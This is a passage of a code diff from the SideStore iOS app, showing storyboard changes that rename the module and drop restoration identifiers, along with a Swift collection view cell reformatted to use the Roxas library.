cell.style = InsetGroupTableViewCell.Style.top
} else if indexPath.row == self.tableView(self.tableView, numberOfRowsInSection: indexPath.section) - 1 {
cell.style = InsetGroupTableViewCell.Style.bottom
} else {
cell.style = InsetGroupTableViewCell.Style.middle
}
return cell
}
override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {
"Teams"
}
}

View File

@@ -1,9 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="21507" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="wKh-xq-NuP"> <document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="21223" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="wKh-xq-NuP">
<device id="retina4_7" orientation="portrait" appearance="light"/> <device id="retina4_7" orientation="portrait" appearance="light"/>
<dependencies> <dependencies>
<deployment identifier="iOS"/> <deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21505"/> <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21204"/>
<capability name="Named colors" minToolsVersion="9.0"/> <capability name="Named colors" minToolsVersion="9.0"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/> <capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="System colors in document resources" minToolsVersion="11.0"/> <capability name="System colors in document resources" minToolsVersion="11.0"/>
@@ -13,7 +13,7 @@
<!--Launch View Controller--> <!--Launch View Controller-->
<scene sceneID="q24-yd-v7v"> <scene sceneID="q24-yd-v7v">
<objects> <objects>
<viewController storyboardIdentifier="launchViewController" useStoryboardIdentifierAsRestorationIdentifier="YES" id="wKh-xq-NuP" customClass="LaunchViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController"> <viewController id="wKh-xq-NuP" customClass="LaunchViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="G9E-Qs-gFM"> <view key="view" contentMode="scaleToFill" id="G9E-Qs-gFM">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -28,7 +28,7 @@
<!--Tab Bar Controller--> <!--Tab Bar Controller-->
<scene sceneID="yl2-sM-qoP"> <scene sceneID="yl2-sM-qoP">
<objects> <objects>
<tabBarController storyboardIdentifier="tabBarController" modalPresentationStyle="fullScreen" useStoryboardIdentifierAsRestorationIdentifier="YES" id="49e-Tb-3d3" customClass="TabBarController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <tabBarController storyboardIdentifier="tabBarController" modalPresentationStyle="fullScreen" id="49e-Tb-3d3" customClass="TabBarController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<tabBar key="tabBar" contentMode="scaleToFill" id="W28-zg-YXA"> <tabBar key="tabBar" contentMode="scaleToFill" id="W28-zg-YXA">
<rect key="frame" x="0.0" y="975" width="768" height="49"/> <rect key="frame" x="0.0" y="975" width="768" height="49"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" flexibleMinY="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" flexibleMinY="YES"/>
@@ -50,7 +50,7 @@
<!--Browse--> <!--Browse-->
<scene sceneID="rXq-UR-qQp"> <scene sceneID="rXq-UR-qQp">
<objects> <objects>
<collectionViewController storyboardIdentifier="browseViewController" useStoryboardIdentifierAsRestorationIdentifier="YES" id="e3L-BF-iXp" customClass="BrowseViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <collectionViewController id="e3L-BF-iXp" customClass="BrowseViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" dataMode="prototypes" id="CaT-1q-qnx"> <collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" dataMode="prototypes" id="CaT-1q-qnx">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -85,7 +85,7 @@
<!--App View Controller--> <!--App View Controller-->
<scene sceneID="TgT-LO-3Er"> <scene sceneID="TgT-LO-3Er">
<objects> <objects>
<viewController storyboardIdentifier="appViewController" useStoryboardIdentifierAsRestorationIdentifier="YES" id="0V6-N4-hTO" customClass="AppViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <viewController storyboardIdentifier="appViewController" id="0V6-N4-hTO" customClass="AppViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="0cR-li-tCB"> <view key="view" contentMode="scaleToFill" id="0cR-li-tCB">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -131,7 +131,7 @@
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="Qlg-m3-lXg"> <view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="Qlg-m3-lXg">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<subviews> <subviews>
<view contentMode="scaleToFill" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="NEy-yr-cLS" customClass="AppBannerView" customModule="SideStoreAppKit"> <view contentMode="scaleToFill" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="NEy-yr-cLS" customClass="AppBannerView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="37" y="287" width="300" height="93"/> <rect key="frame" x="37" y="287" width="300" height="93"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
</view> </view>
@@ -191,7 +191,7 @@
</constraints> </constraints>
</view> </view>
<navigationItem key="navigationItem" largeTitleDisplayMode="never" id="maq-gT-QcS"> <navigationItem key="navigationItem" largeTitleDisplayMode="never" id="maq-gT-QcS">
<barButtonItem key="rightBarButtonItem" style="done" id="FLf-DS-F77"> <barButtonItem key="rightBarButtonItem" style="plain" id="FLf-DS-F77">
<button key="customView" opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" id="grk-xM-YWA" customClass="PillButton" customModule="SideStore" customModuleProvider="target"> <button key="customView" opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" id="grk-xM-YWA" customClass="PillButton" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="287" y="6.5" width="72" height="31"/> <rect key="frame" x="287" y="6.5" width="72" height="31"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
@@ -229,7 +229,7 @@
<!--App--> <!--App-->
<scene sceneID="CgX-7h-sRI"> <scene sceneID="CgX-7h-sRI">
<objects> <objects>
<tableViewController storyboardIdentifier="appContentViewController" useStoryboardIdentifierAsRestorationIdentifier="YES" id="kBq-V8-3XC" customClass="AppContentViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <tableViewController id="kBq-V8-3XC" customClass="AppContentViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<tableView key="view" clipsSubviews="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" contentInsetAdjustmentBehavior="never" dataMode="static" style="plain" separatorStyle="none" rowHeight="-1" estimatedRowHeight="-1" sectionHeaderHeight="28" sectionFooterHeight="28" contentViewInsetsToSafeArea="NO" id="w5c-Q3-FcU"> <tableView key="view" clipsSubviews="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" contentInsetAdjustmentBehavior="never" dataMode="static" style="plain" separatorStyle="none" rowHeight="-1" estimatedRowHeight="-1" sectionHeaderHeight="28" sectionFooterHeight="28" contentViewInsetsToSafeArea="NO" id="w5c-Q3-FcU">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -511,7 +511,7 @@ World</string>
<!--Permission Popover View Controller--> <!--Permission Popover View Controller-->
<scene sceneID="24j-EJ-G4e"> <scene sceneID="24j-EJ-G4e">
<objects> <objects>
<viewController storyboardIdentifier="permissionPopoverViewController" useStoryboardIdentifierAsRestorationIdentifier="YES" id="Ojq-DN-xcF" customClass="PermissionPopoverViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <viewController id="Ojq-DN-xcF" customClass="PermissionPopoverViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" id="IgU-aM-YrX"> <view key="view" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" id="IgU-aM-YrX">
<rect key="frame" x="0.0" y="0.0" width="375" height="217"/> <rect key="frame" x="0.0" y="0.0" width="375" height="217"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -566,7 +566,7 @@ World</string>
<!--News--> <!--News-->
<scene sceneID="bqw-wB-hyB"> <scene sceneID="bqw-wB-hyB">
<objects> <objects>
<collectionViewController storyboardIdentifier="newsViewController" useStoryboardIdentifierAsRestorationIdentifier="YES" id="3sa-FZ-PTg" customClass="NewsViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <collectionViewController id="3sa-FZ-PTg" customClass="NewsViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" dataMode="prototypes" id="736-lq-Aef"> <collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" dataMode="prototypes" id="736-lq-Aef">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -592,7 +592,7 @@ World</string>
<!--Browse--> <!--Browse-->
<scene sceneID="VHa-uP-bFU"> <scene sceneID="VHa-uP-bFU">
<objects> <objects>
<navigationController storyboardIdentifier="forwardingNavigationControllerBrowse" automaticallyAdjustsScrollViewInsets="NO" useStoryboardIdentifierAsRestorationIdentifier="YES" id="faz-B4-Sub" customClass="ForwardingNavigationController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <navigationController automaticallyAdjustsScrollViewInsets="NO" id="faz-B4-Sub" customClass="ForwardingNavigationController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<tabBarItem key="tabBarItem" title="Browse" image="Browse" id="Uwh-Bg-Ymq"/> <tabBarItem key="tabBarItem" title="Browse" image="Browse" id="Uwh-Bg-Ymq"/>
<toolbarItems/> <toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="dIv-qd-9L5" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target"> <navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="dIv-qd-9L5" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
@@ -620,7 +620,7 @@ World</string>
<!--My Apps--> <!--My Apps-->
<scene sceneID="nhh-BJ-XiT"> <scene sceneID="nhh-BJ-XiT">
<objects> <objects>
<navigationController storyboardIdentifier="forwardingNavigationControllerNyApps" automaticallyAdjustsScrollViewInsets="NO" useStoryboardIdentifierAsRestorationIdentifier="YES" id="3Ew-ox-i4n" customClass="ForwardingNavigationController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <navigationController automaticallyAdjustsScrollViewInsets="NO" id="3Ew-ox-i4n" customClass="ForwardingNavigationController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<tabBarItem key="tabBarItem" title="My Apps" image="MyApps" id="4gT-9u-k7y"> <tabBarItem key="tabBarItem" title="My Apps" image="MyApps" id="4gT-9u-k7y">
<color key="badgeColor" name="Primary"/> <color key="badgeColor" name="Primary"/>
</tabBarItem> </tabBarItem>
@@ -641,7 +641,7 @@ World</string>
<!--My Apps--> <!--My Apps-->
<scene sceneID="EC8-Sf-AF9"> <scene sceneID="EC8-Sf-AF9">
<objects> <objects>
<collectionViewController storyboardIdentifier="myAppsViewController" useStoryboardIdentifierAsRestorationIdentifier="YES" id="hv7-Ar-voT" customClass="MyAppsViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <collectionViewController id="hv7-Ar-voT" customClass="MyAppsViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" dataMode="prototypes" id="Jrp-gi-4Df"> <collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" dataMode="prototypes" id="Jrp-gi-4Df">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -660,7 +660,7 @@ World</string>
<rect key="frame" x="0.0" y="0.0" width="375" height="60"/> <rect key="frame" x="0.0" y="0.0" width="375" height="60"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="mos-e4-dQ7" customClass="AppBannerView" customModule="SideStoreAppKit"> <view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="mos-e4-dQ7" customClass="AppBannerView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="8" y="0.0" width="359" height="60"/> <rect key="frame" x="8" y="0.0" width="359" height="60"/>
</view> </view>
</subviews> </subviews>
@@ -797,7 +797,7 @@ World</string>
<!--App IDs--> <!--App IDs-->
<scene sceneID="kvf-US-rRe"> <scene sceneID="kvf-US-rRe">
<objects> <objects>
<collectionViewController storyboardIdentifier="appIDsViewController" title="App IDs" useStoryboardIdentifierAsRestorationIdentifier="YES" id="y1A-Nm-mw7" customClass="AppIDsViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <collectionViewController title="App IDs" id="y1A-Nm-mw7" customClass="AppIDsViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" dataMode="prototypes" id="v1r-C8-h6h"> <collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" dataMode="prototypes" id="v1r-C8-h6h">
<rect key="frame" x="0.0" y="0.0" width="375" height="647"/> <rect key="frame" x="0.0" y="0.0" width="375" height="647"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -816,7 +816,7 @@ World</string>
<rect key="frame" x="0.0" y="0.0" width="375" height="80"/> <rect key="frame" x="0.0" y="0.0" width="375" height="80"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="1w8-fI-98T" customClass="AppBannerView" customModule="SideStoreAppKit"> <view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="1w8-fI-98T" customClass="AppBannerView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="8" y="0.0" width="359" height="80"/> <rect key="frame" x="8" y="0.0" width="359" height="80"/>
<accessibility key="accessibilityConfiguration"> <accessibility key="accessibilityConfiguration">
<bool key="isElement" value="YES"/> <bool key="isElement" value="YES"/>
@@ -835,7 +835,7 @@ World</string>
</connections> </connections>
</collectionViewCell> </collectionViewCell>
</cells> </cells>
<collectionReusableView key="sectionHeaderView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Header" id="th0-G6-bRt" customClass="TextCollectionReusableView" customModule="SideStoreAppKit"> <collectionReusableView key="sectionHeaderView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Header" id="th0-G6-bRt" customClass="TextCollectionReusableView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="60"/> <rect key="frame" x="0.0" y="0.0" width="375" height="60"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
@@ -856,7 +856,7 @@ World</string>
<outlet property="textLabel" destination="83Z-Ih-nOW" id="xxM-HD-iJS"/> <outlet property="textLabel" destination="83Z-Ih-nOW" id="xxM-HD-iJS"/>
</connections> </connections>
</collectionReusableView> </collectionReusableView>
<collectionReusableView key="sectionFooterView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Footer" id="xMh-lD-r6C" customClass="TextCollectionReusableView" customModule="SideStoreAppKit"> <collectionReusableView key="sectionFooterView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Footer" id="xMh-lD-r6C" customClass="TextCollectionReusableView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="170" width="375" height="50"/> <rect key="frame" x="0.0" y="170" width="375" height="50"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
@@ -881,9 +881,9 @@ World</string>
</connections> </connections>
</collectionView> </collectionView>
<navigationItem key="navigationItem" title="App IDs" id="3Co-uv-Fhb"> <navigationItem key="navigationItem" title="App IDs" id="3Co-uv-Fhb">
<barButtonItem key="leftBarButtonItem" style="done" id="Aqs-QK-Ups"> <barButtonItem key="leftBarButtonItem" style="plain" id="Aqs-QK-Ups">
<view key="customView" contentMode="scaleToFill" id="p0q-Fg-3Ba"> <view key="customView" contentMode="scaleToFill" id="p0q-Fg-3Ba">
<rect key="frame" x="16" y="7" width="83" height="42"/> <rect key="frame" x="16" y="1" width="83" height="42"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
</view> </view>
</barButtonItem> </barButtonItem>
@@ -905,7 +905,7 @@ World</string>
<!--News--> <!--News-->
<scene sceneID="BV8-6J-nIv"> <scene sceneID="BV8-6J-nIv">
<objects> <objects>
<navigationController storyboardIdentifier="forwardingNavigationControllerNews" automaticallyAdjustsScrollViewInsets="NO" useStoryboardIdentifierAsRestorationIdentifier="YES" id="kjR-gi-fgT" customClass="ForwardingNavigationController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <navigationController automaticallyAdjustsScrollViewInsets="NO" id="kjR-gi-fgT" customClass="ForwardingNavigationController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<tabBarItem key="tabBarItem" title="News" image="News" id="fVN-ed-uO1"/> <tabBarItem key="tabBarItem" title="News" image="News" id="fVN-ed-uO1"/>
<toolbarItems/> <toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="525-jF-uDK" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target"> <navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="525-jF-uDK" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
@@ -925,10 +925,10 @@ World</string>
<!--Navigation Controller--> <!--Navigation Controller-->
<scene sceneID="1Gj-mS-BaN"> <scene sceneID="1Gj-mS-BaN">
<objects> <objects>
<navigationController storyboardIdentifier="nav1" automaticallyAdjustsScrollViewInsets="NO" useStoryboardIdentifierAsRestorationIdentifier="YES" id="IXk-qg-mFJ" sceneMemberID="viewController"> <navigationController automaticallyAdjustsScrollViewInsets="NO" id="IXk-qg-mFJ" sceneMemberID="viewController">
<toolbarItems/> <toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="9sB-f3-Fnk"> <navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="9sB-f3-Fnk">
<rect key="frame" x="0.0" y="0.0" width="375" height="108"/> <rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
</navigationBar> </navigationBar>
<nil name="viewControllers"/> <nil name="viewControllers"/>
@@ -943,7 +943,7 @@ World</string>
<!--Sources--> <!--Sources-->
<scene sceneID="0S1-zn-9KZ"> <scene sceneID="0S1-zn-9KZ">
<objects> <objects>
<collectionViewController storyboardIdentifier="sourcesViewController" title="Sources" useStoryboardIdentifierAsRestorationIdentifier="YES" id="cHC-TX-KzQ" customClass="SourcesViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <collectionViewController title="Sources" id="cHC-TX-KzQ" customClass="SourcesViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" alwaysBounceVertical="YES" dataMode="prototypes" id="S36-hD-vu2"> <collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" alwaysBounceVertical="YES" dataMode="prototypes" id="S36-hD-vu2">
<rect key="frame" x="0.0" y="0.0" width="375" height="647"/> <rect key="frame" x="0.0" y="0.0" width="375" height="647"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -962,7 +962,7 @@ World</string>
<rect key="frame" x="0.0" y="0.0" width="375" height="80"/> <rect key="frame" x="0.0" y="0.0" width="375" height="80"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="LW1-CC-bWu" customClass="AppBannerView" customModule="SideStoreAppKit"> <view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="LW1-CC-bWu" customClass="AppBannerView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="8" y="0.0" width="359" height="80"/> <rect key="frame" x="8" y="0.0" width="359" height="80"/>
<accessibility key="accessibilityConfiguration"> <accessibility key="accessibilityConfiguration">
<bool key="isElement" value="YES"/> <bool key="isElement" value="YES"/>
@@ -981,7 +981,7 @@ World</string>
</connections> </connections>
</collectionViewCell> </collectionViewCell>
</cells> </cells>
<collectionReusableView key="sectionHeaderView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Header" id="8N7-JY-mcA" customClass="TextCollectionReusableView" customModule="SideStoreAppKit"> <collectionReusableView key="sectionHeaderView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Header" id="8N7-JY-mcA" customClass="TextCollectionReusableView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="200"/> <rect key="frame" x="0.0" y="0.0" width="375" height="200"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
@@ -1067,10 +1067,10 @@ World</string>
<!--Navigation Controller--> <!--Navigation Controller-->
<scene sceneID="6NV-LQ-gKB"> <scene sceneID="6NV-LQ-gKB">
<objects> <objects>
<navigationController storyboardIdentifier="nav2" automaticallyAdjustsScrollViewInsets="NO" useStoryboardIdentifierAsRestorationIdentifier="YES" id="Qo4-72-Hmr" sceneMemberID="viewController"> <navigationController automaticallyAdjustsScrollViewInsets="NO" id="Qo4-72-Hmr" sceneMemberID="viewController">
<toolbarItems/> <toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="mcx-oR-qPe"> <navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="mcx-oR-qPe">
<rect key="frame" x="0.0" y="0.0" width="375" height="108"/> <rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
</navigationBar> </navigationBar>
<nil name="viewControllers"/> <nil name="viewControllers"/>
@@ -1095,13 +1095,13 @@ World</string>
<image name="News" width="19" height="20"/> <image name="News" width="19" height="20"/>
<image name="Settings" width="20" height="20"/> <image name="Settings" width="20" height="20"/>
<namedColor name="Background"> <namedColor name="Background">
<color red="1" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/> <color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor> </namedColor>
<namedColor name="BlurTint"> <namedColor name="BlurTint">
<color red="1" green="1" blue="1" alpha="0.30000001192092896" colorSpace="custom" customColorSpace="sRGB"/> <color red="1" green="1" blue="1" alpha="0.3" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor> </namedColor>
<namedColor name="Primary"> <namedColor name="Primary">
<color red="0.64313725490196083" green="0.019607843137254902" blue="0.98039215686274506" alpha="1" colorSpace="custom" customColorSpace="sRGB"/> <color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor> </namedColor>
<systemColor name="systemBackgroundColor"> <systemColor name="systemBackgroundColor">
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>

View File

@@ -8,21 +8,17 @@
import UIKit import UIKit
import RoxasUIKit import Roxas
import OSLog
#if canImport(Logging)
import Logging
#endif
import Nuke import Nuke
@objc final class BrowseCollectionViewCell: UICollectionViewCell { @objc final class BrowseCollectionViewCell: UICollectionViewCell
{
var imageURLs: [URL] = [] { var imageURLs: [URL] = [] {
didSet { didSet {
dataSource.items = imageURLs as [NSURL] self.dataSource.items = self.imageURLs as [NSURL]
} }
} }
private lazy var dataSource = self.makeDataSource() private lazy var dataSource = self.makeDataSource()
@IBOutlet var bannerView: AppBannerView! @IBOutlet var bannerView: AppBannerView!
@@ -30,49 +26,56 @@ import Nuke
@IBOutlet private(set) var screenshotsCollectionView: UICollectionView! @IBOutlet private(set) var screenshotsCollectionView: UICollectionView!
override func awakeFromNib() { override func awakeFromNib()
{
super.awakeFromNib() super.awakeFromNib()
contentView.preservesSuperviewLayoutMargins = true self.contentView.preservesSuperviewLayoutMargins = true
// Must be registered programmatically, not in BrowseCollectionViewCell.xib, or else it'll throw an exception 🤷. // Must be registered programmatically, not in BrowseCollectionViewCell.xib, or else it'll throw an exception 🤷.
screenshotsCollectionView.register(ScreenshotCollectionViewCell.self, forCellWithReuseIdentifier: RSTCellContentGenericCellIdentifier) self.screenshotsCollectionView.register(ScreenshotCollectionViewCell.self, forCellWithReuseIdentifier: RSTCellContentGenericCellIdentifier)
screenshotsCollectionView.delegate = self self.screenshotsCollectionView.delegate = self
screenshotsCollectionView.dataSource = dataSource self.screenshotsCollectionView.dataSource = self.dataSource
screenshotsCollectionView.prefetchDataSource = dataSource self.screenshotsCollectionView.prefetchDataSource = self.dataSource
} }
} }
private extension BrowseCollectionViewCell { private extension BrowseCollectionViewCell
func makeDataSource() -> RSTArrayCollectionViewPrefetchingDataSource<NSURL, UIImage> { {
func makeDataSource() -> RSTArrayCollectionViewPrefetchingDataSource<NSURL, UIImage>
{
let dataSource = RSTArrayCollectionViewPrefetchingDataSource<NSURL, UIImage>(items: []) let dataSource = RSTArrayCollectionViewPrefetchingDataSource<NSURL, UIImage>(items: [])
